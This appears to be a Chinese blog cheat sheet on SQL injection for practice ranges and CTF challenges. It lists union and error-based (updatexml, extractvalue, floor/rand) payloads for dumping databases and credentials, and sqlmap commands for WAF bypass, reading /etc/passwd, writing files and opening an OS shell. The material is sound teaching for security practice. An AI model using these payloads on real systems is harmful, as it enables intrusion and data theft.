SQL注入全流程
sql注入全流程
靠印象总结的,不具有参考性
sql注入的大致流程
判断注入点 →
?id=1' and '1'='1判断列数 →
order by N找可回显列 →
union select 1,2,3查当前库 →
union select 1,database(),3查所有库 →
union select 1,group_concat(schema_name),3 from information_schema.schemata查目标库表 →
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='xxx'查目标表字段 →
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='xxx'查敏感数据 →
union select 1,group_concat(user,0x3a,pass),3 from users
在 sql 注入中,最最常用的注入方法有两种 union联合查询和 updatexml报错注入
union联合查询
查询语法
1 | # 注入点判断 |
报错注入
updatexml()
1
2
3
4
5
6
7
8?id=1 and updatexml(1, concat(0x7e, (select database()) ,0x7e) ,1)
1 and updatexml(1, concat(0x7e, (select group_concat(flag) from flag) ,0x7e) ,1)
# 长度限制
?id=1 and updatexml(1, concat(0x7e, (select substr(database(),1,32) ,0x7e) ,1)
?id=1 and updatexml(1, concat(0x7e, (select substr(flag,20,40) from flag),0x7e) ,1)updatexml(xml_target, xpath_expr, new_value)用来更新 XML 数据。当
xpath_expr参数不符合 XML 格式时,会抛出报错,并在报错信息中包含参数内容。我们把要输出的数据拼接进
xpath_expr,就能在报错信息中泄露出来。
extractvalue()
1
?id=1 and extractvalue(1, concat(0x7e, (select user()),0x7e))
extractvalue(xml_doc, xpath_expr)用于从 XML 文档中提取数据。- 当
xpath_expr参数非法时,会抛出报错,并在错误信息中显示该参数。 - 利用方法和
updatexml()类似。
floor() + rand() + group by
1
2
3
4
5
6
7
8?id=1 and (
select 1 from (
select count(*),
concat(0x7e, (select database()), 0x7e, floor(rand(0)*2)) as x
from information_schema.tables
group by x
) a
)- MySQL 在
group by时,如果rand()生成的值重复,就会导致 Duplicate entry 错误。 - 我们把要爆的数据放进重复值里,让它出现在报错信息中。
- 常见于无
updatexml/extractvalue函数时的替代方案。
- MySQL 在
sqlmap
1 | # 安装sqlmap |
常用参数
| 参数 | 功能 |
|---|---|
-u URL | 指定目标 URL |
--data "param1=val1¶m2=val2" | 指定 POST 数据 |
--cookie "PHPSESSID=xxx" | 设置 Cookie |
--dbs | 列出数据库 |
--tables -D db_name | 列出指定数据库的表 |
--columns -D db_name -T table_name | 列出表字段 |
--dump -D db_name -T table_name | 导出表数据 |
--batch | 自动选择默认答案,避免交互 |
--technique=B | 强制布尔盲注 |
--technique=T | 强制时间盲注 |
--tamper=脚本 | 绕过 WAF/过滤 |
--level=N --risk=N | 增加扫描强度和风险 |
| –random-agent | |
| –time-sec=3 | |
| –sql-query= | sql 命令执行 |
get 注入
1
python3 sqlmap.py -u "http://靶场URL/vuln.php?id=1" --dbs --batch
post注入
1
2
3python3 sqlmap.py -u "http://靶场URL/vuln.php" \
--data "username=admin&password=123" \
--dbs --batch绕过waf / 过滤
- 使用 tamper 脚本:
1
--tamper=space2comment,randomcase,between
- 使用随机 User-Agent:
1
--random-agent
- 增加扫描强度:
1
--level=5 --risk=3
文件读取
1
python3 sqlmap.py -u "http://靶场URL/vuln.php?id=1" --file-read=/etc/passwd
文件写入
1
2python3 sqlmap.py -u "http://靶场URL/vuln.php?id=1" \
--file-write=本地文件路径 --file-dest=服务器目标路径命令执行
1
python3 sqlmap.py -u "http://靶场URL/vuln.php?id=1" --os-shell
1 | python3 sqlmap.py -u "http://challenge-85047d2171b93350.sandbox.ctfhub.com:10800/?id=1" \ |
1 | python3 sqlmap.py -u "http://challenge-85047d2171b93350.sandbox.ctfhub.com:10800/?id=1" \ |


